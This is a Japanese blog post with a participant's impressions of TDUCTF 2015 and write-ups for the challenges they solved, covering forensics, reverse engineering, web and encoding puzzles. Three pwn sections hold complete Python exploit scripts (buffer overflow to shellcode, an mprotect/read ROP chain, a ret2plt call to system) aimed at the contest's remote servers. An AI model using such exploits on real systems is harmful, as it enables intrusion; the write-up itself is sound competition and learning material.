# TDUCTF 2015の感想とwriteup @_193sです. 開催1日前に突然枠が空いたのでTDUCTF 2015に参加してきました. <blockquote class="twitter-tweet" lang="ja"><p lang="ja" dir="ltr"><a href="https://twitter.com/hashtag/tductf?src=hash">#tductf</a> に潜り込んでる</p>&mdash; Ikumi Shimizu (@_193s) <a href="https://twitter.com/_193s/status/637834646382776322">2015, 8月 30</a></blockquote> <script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script> - 会場が遠くて迷った - スコアサーバー(のクライアントアプリ)がElectron製ですごい ![](http://i.imgur.com/fmXioMr.png) ![](http://i.imgur.com/T8foKIe.png) ![](http://i.imgur.com/kcLZdxA.png) ![](http://i.imgur.com/JO5vY2b.png) ![](http://i.imgur.com/eTWmpdT.png) - インフラすごい - CTF開始前のLT中にスコアサーバー弄ってたらフラグが出てきた(XSS meという問題のFlagだった) - 問題数が多くてひたすら忙しい - 問題が出て10秒~1分以内に解くみたいなのを3問ぐらいでやったので大量にfirst solveボーナスが取れてよかった - 世界3位だから3位だった <blockquote class="twitter-tweet" lang="ja"><p lang="ja" dir="ltr"><a href="https://twitter.com/_193s">@_193s</a> 流石世界3位は常に3位を取る</p>&mdash; 植物 (@potetisensei) <a href="https://twitter.com/potetisensei/status/637919053789589504">2015, 8月 30</a></blockquote> <script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script> ![](http://i.imgur.com/Lk4vx3N.png) - というわけで解いた問題全部のwriteupを丁寧に書きました # write-ups ## 練習問題 (Example 39) solves: 68 ``` フラグは TDU{なにか} の形で得られます。 TDU{SAKURAInternet} by @chibiegg ``` 問題文を読む能力 flag: `TDU{SAKURAInternet}` ## String Compare (Binary 100) solves: 10 ``` フラグには必ずTDU{}を付けてね。 https://score.sakura.tductf.org/files/3/StringCompare.exe ``` MS-DOS executable. 実行して標準入力に適当な文字列を与えると`This_is_not_flag :)`と言われる. 適当にバイナリを読むと `41A91A82F42C2B593623B420953C73572BEDC2E45165162CC856FB1BA57BD410` で通ることがわかるので,問題文に従ってTDU{}を付けてスコアサーバーにsubmitしたら通った. ![](http://i.imgur.com/upFNsUq.png) (これstrings+エスパーだけで解けそう) flag: `TDU{41A91A82F42C2B593623B420953C73572BEDC2E45165162CC856FB1BA57BD410}` ## clock (Misc 150) solves: 53 ``` この写真が撮影された時間(秒は切り捨て)がFLAGです。 例: 2015/08/30 14:00:00 JST → TDU{2015_08_30_14_00} https://score.sakura.tductf.org/files/4/clock.jpg ``` 時計が映ったjpg. exiftoolにかけたら時刻が出てきたので`TDU{2015_01_02_11_35}`を投げたけど通らない. ``` 193s@mbp193s:~/CTF/TDUCTF/2015B/misc/clock$ exiftool clock.jpg ExifTool Version Number : 9.71 File Name : clock.jpg ... Date/Time Original : 2015:01:02 11:35:01 Create Date : 2015:01:02 11:35:01 ... ``` よく問題文を見たらFlagはJSTだったので9時間足したら通った. 写真からグリニッジ天文台の時計だとわかっていたが,exif情報からも経度が確認できるので時差は適当に出しましょう. ``` GPS Latitude : 51 deg 28' 40.53" N GPS Longitude : 0 deg 0' 4.67" W GPS Position : 51 deg 28' 40.53" N, 0 deg 0' 4.67" W ``` flag: `TDU{2015_01_11_11_35}` ## XSS me (Misc 100) solves: 28 ``` alert me. ``` 普通のWeb問かと思って問題文を見たらURLがなかったので困惑してしばらく放置していたが,CTF開始前に見つけていたflagを入れたら通った(謎). クライアントアプリで開発者ツールみたいなものをCtrl+alt+iなどで開いてElementsのところを眺めていると見つかる. ![](http://i.imgur.com/otLE6V1.png) ``` '\u0054\u0044\u0055\u007b\u0045\u006c\u0065\u0063\u0074\u0072\u006f\u006e\u005f\u0043\u0054\u0046\u005f\u0046\u0072\u006f\u006e\u0074\u0065\u006e\u0064\u005f\u0069\u0073\u005f\u0043\u006f\u006f\u006c\u005f\u0079\u0061\u003f\u007d' ``` flag: `TDU{Electron_CTF_Frontend_is_Cool_ya?}` ## /dev/null (Binary 250) solves: 5 ``` Usage: ./devnull > /dev/null https://score.sakura.tductf.org/files/12/devnull ``` `ELF 64-bit LSB executable`. linux環境でusage通りに`./devnull > /dev/null`を動かすと何も表示せずに終了する. `/dev/fd/1`などに吐かせようとしても怒られるのでstraceしたらflagが出た. ``` master@ubuntu:~/CTF/TDUCTF/2015B/bin/dev_null$ strace ./devnull > /dev/null execve("./devnull", ["./devnull"], [/* 19 vars */]) = 0 brk(0) = 0x6e7000 fcntl(0, F_GETFD) = 0 ... mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7962d9b000 write(1, "TDU{/dev/null_redirection}\n", 27) = 27 exit_group(0) = ? +++ exited with 0 +++ ``` flag: `TDU{/dev/null_redirection}` ## moneyscript (Misc 400) solves: 8 ``` 6a1d5444557b426974636f696e21426974636f696e21426974636f696e217d ``` 何も考えずにhexdecodeしたら`jTDU{Bitcoin!Bitcoin!Bitcoin!}`が出てきた. なんだこれ flag: `TDU{Bitcoin!Bitcoin!Bitcoin!}` ## TDUCTF運営からフラグを盗め (Network 400) solves: 17 ``` こたまご氏がのむけん氏に送ったメールが盗聴できた。やったね! by @chibiegg https://score.sakura.tductf.org/files/6/dump.pcap ``` 部分点(25%)しか取れてないです. SMTPのパケットが並んでいる.メール本文/添付ファイルをstringsから抽出しようとして時間を無駄にしてしまったが,NetworkMinerにかければ一発だった(ファイルの抽出機能はない?). ![](http://i.imgur.com/qtfRVr1.png) iso-2022-jpな部分はnkfに食わせれば自動でconvertしてくれる. ``` 193s@mbp193s:~/CTF/TDUCTF/2015B/nw/TDU運営からフラグを$ nkf < g ... のむけんさん お疲れ様です、こたまごです。 さきほどのファイルのパスワードをお送りいたします。 umHA7QEJwgCbkKh (半角にしてください) ... > 先日相談した暗号の問題ですが、できたのでスコアサーバに答えを登録しておい > ていただけますか。 > > 添付ファイルにして送付します。 > パスワードは別途お送りいたします。 > ... ``` ということなので抽出したflag.zipにパスワードとして`umHA7QEJwgCbkKh`を与えたら`flag.txt`, `chibiegg.jpg`を吐いてくれた. これで部分点100点獲得. もう1つ`chibiegg.jpg`, `flag.txt`, `flag2.txt`の3つのファイルが入ったzipがあったので,既に入手したflag.txtとchibiegg.jpgを使ってpkcrackでknown-plaintext attackを試みたがダメだった(謎). flag1: `TDU{I_KNOW_CREAR_TEXT_IS_NOT_SECURE}` ## Lie (Web 100) solves: 53 ``` プロになりたい http://lie.sakura.tductf.org/ ``` よく覚えていないが,普通にGETを飛ばすとSet-CookieでisPro=Falseみたいなのが降ってきたのでこれをTrueに書き換えるとFlagが出た. flag: (紛失) ## 14:50 (Misc 200) solves: 61 ``` 14:50 になにかが起きる! ``` 部分点(50%)だけです. 14:50になると突然クライアントアプリで一斉に某社の動画が流れ始めた.何も考えずに閉じてしまったがこれを見ているとFlagが流れてくるらしい. 数時間後また動画が流れてくることになったので今度はよく見ていたらflagが取れたのでそのまま閉じてsubmitしに行ったが,これが部分点50%分のflagだったということに気がついてしまいつらい気持ちになった. flag1: (紛失) ## She'll code it after school today. (Pwn 250) solves: 4 ``` |><|~|><| /(((9)))\ //) -_- (\\ ______________________________________________ (((( ._. )))) / \ ))))---(((( < I enjoy coding after school everyday <3 | ((((`---')))) \______________________________________________/ (___|xXxXx|___) \ | | / / ^ ^ ^ \ / \ (_._._._._._) \ | / ( | ) | | | hjw |-|-| /`-^-'\ (__,^.__) (http://ascii.co.uk/art/girl) // But she's not so good at the secure coding... nc crackme.sakura.tductf.org 47806 https://score.sakura.tductf.org/files/20/program ``` `ELF 32-bit LSB executable`. ncで繋いで10秒ほど待っているとソースコードのURLが落ちてくる. ``` ... (Hint: aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vaGhjMG51bGwvYTE1YzdlZDUxMDczNzk1N2RiODY=) ``` https://gist.github.com/hhc0null/a15c7ed510737957db86 ```c= #include <stdio.h> #include <stdlib.h> #include <unistd.h> // I want you to be known globally! char your_introduction[0x100]; int main() { FILE *fp = NULL; char message[30]; puts("My name is Catherine:)"); puts("About me:"); if((fp = fopen("my_introduction.txt", "r")) == NULL) { perror("Oops..."); exit(EXIT_FAILURE); } fgets(message, 30, fp); puts(message); fclose(fp); puts("Please tell me about you:"); fgets(your_introduction, 0x100, stdin); puts("Please leave your message:"); fgets(message, 0x30, stdin); puts("Thank you~ <3"); sleep(30); puts("(Hint: aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vaGhjMG51bGwvYTE1YzdlZDUxMDczNzk1N2RiODY=)"); return 0; } ``` 2回目のfgetsでbuffer overflowの脆弱性がある. NX disabledなのでyour_introduction(固定アドレス)に自身のアドレス+shellcodeを突っ込んで,bofからespをyour_introductionに向けることでshellcodeを実行するという感じの方針でexploitを書いた. ```python= #!/usr/bin/env python from ebil import * # <- https://github.com/193s/ebil exec ebil('./program', remote=('crackme.sakura.tductf.org', 47806)) addr_message = 0x8049aa0 shellcode = asm(shellcraft.sh()) def popn(n): addr_pop3 = 0x08048749 # pop esi ; pop edi ; pop ebp ; ret ; (1 found) assert n <= 3 ret = addr_pop3+3-n return ret print r.recvuntil('Please tell me about you:\n') payload = p(addr_message+4) + shellcode assert not '\n' in payload send(payload + '\n') log.success('addr_message = ' + hex(addr_message)) print r.recvuntil('message:\n') payload = 'a'*38 payload += chain([ addr_message + 4, # ecx -- ecx-4 => esp ]) assert not '\n' in payload send(payload+'\n', 0x30) print r.recvuntil('=)\n') interact() ``` flag: (紛失) ## In a new stage! (Pwn 180) solves: 5 ``` Congratz! Now, you are in a new stage! nc crackme.sakura.tductf.org 10195 https://score.sakura.tductf.org/files/19/ins ``` やるだけ. ```python= #!/usr/bin/env python from ebil import * # <- https://github.com/193s/ebil exec ebil('./ins', remote=('crackme.sakura.tductf.org', 10195)) shellcode = asm(shellcraft.sh()) def pop_n(n): pop3ret = 0x080485d9 # pop esi ; pop edi ; pop ebp ; ret ; (1 found) return pop3ret + 3 - n print r.recvuntil(': ') payload = 'a'*16 map_base = 0x8049000 payload += chain([ elf.symbols['mprotect'], pop_n(3), map_base, 1000, 7, elf.symbols['read'], pop_n(1), 0, map_base, 2048, ]) send(payload, 56) send(shellcode, 2048) interact() ``` flag: (紛失) ## ret2libc for newbie. (Pwn 120) solves: 5 ``` just ret2libc it! nc crackme.sakura.tductf.org 10170 https://score.sakura.tductf.org/files/18/r2lfn ``` やるだけ.ret2pltじゃん ```python= #!/usr/bin/env python from ebil import * # <- https://github.com/193s/ebil exec ebil('./r2lfn', remote=('crackme.sakura.tductf.org', 10170)) addr_ret = 0x080483ae # ret ; (14 found) payload = p(addr_ret)*10 payload += chain([ elf.plt['system'], 0xdeadbeef, 0x80486ad, ]) send(payload, 256) interact() ``` flag: (紛失) ## String Encoder no.1 (Binary 200) solves: 3 ``` ファイトだよっ!! https://score.sakura.tductf.org/files/26/no1 https://score.sakura.tductf.org/files/30/file ``` エンコーダ(PE32 executable)とエンコードされたflag. 適当にバイナリを読むと各文字に対して+0x14しているだけだったのでpythonでデコーダを書いて動かした. ```python= #!/usr/bin/env python from sys import stdout enc = open('file', 'r').read() for c in enc: stdout.write(chr(ord(c)-0x14 & 0xff)) ``` ``` 193s@mbp193s:~/CTF/TDUCTF/2015B/bin/String_Encoder/1$ ./solve.py TDU{Welcome_to_TDUCTF's_string_encoder!}h���������������a�`� ������������������ ��e��`����% ``` flag: `TDU{Welcome_to_TDUCTF's_string_encoder!}` ## String Encoder no.3 (Binary 300) solves: 1 ``` ファイトだよっ!! https://score.sakura.tductf.org/files/28/no3 https://score.sakura.tductf.org/files/31/file ``` 結局自分しか解かなかったっぽい. 各文字cについて`c = i + (i^c)`という置換をしているだけなので,適当にデコーダを書いておわり. ```python= #!/usr/bin/env python from sys import stdout enc = open('file', 'r').read() def decode(c, i): return (c - i) ^ i flag = '' for i in xrange(100): flag += chr(decode(ord(enc[i]), i) & 0xff) print flag ``` ``` 193s@mbp193s:~/CTF/TDUCTF/2015B/bin/String_Encoder/3$ ./solve.py TDU{addCounter!xorCounter!}h������th�u�t� �<���$0�(0�,0�40�y̖t ``` flag: `TDU{addCounter!xorCounter!}` ## SQL Practice (Web 300) solves: 26 ``` Let's SQLing? http://sqlpractice.sakura.tductf.org/ ``` ほとんど覚えていないが,@nomukenのツイートがDB化されてそこに対して任意のクエリが発行できるという問題. 何も考えずに`SELECT 忘れた FROM 忘れた WHERE 忘れた LIKE '%TDU{%'`みたいなクエリを投げたらflagが降ってきた. first solveありがとうございました flag: (紛失) ## nullflood (Misc 100) solves: 38 ``` so meny zeros https://score.sakura.tductf.org/files/23/zeros ``` 何も考えずに標準出力に流したらflagが出てきてア ``` 193s@mbp193s:~/CTF/TDUCTF/2015B/misc/nullflood$ cat zeros TDU{Strings_is_useful} ``` hexdumpしてみるとわかるが,0x00が大量に入っていてstringsでは抽出できないよねみたいな問題らしい. flag: `TDU{Strings_is_useful}` ## cheap camouflage (Misc 100) solves: 18 ``` Portable Network Graphics https://score.sakura.tductf.org/files/33/image.png ``` ![](http://i.imgur.com/xPV6kmE.png) pngpongと書かれたpng.vimでバイナリを眺めているとIENDの後にPKという文字列が見えたのでpngの末尾にzipファイルが付いているということがわかる. 適当に分離してunzipしようとするとpasswordを求められるので,画像の"pngpong"を入れてやると無事復号できる. ``` 193s@mbp193s:~/CTF/TDUCTF/2015B/misc/cheap_camo$ unzip a Archive: a [a] flag.txt password: pngpong extracting: flag.txt ``` flag: `TDU{a_file_followed_the_png}` # まとめ - 個人戦はつらい - スコアサーバーがすごかった - 最高に楽しかったです,運営各位本当にありがとうございました - 次回の開催も期待してます :)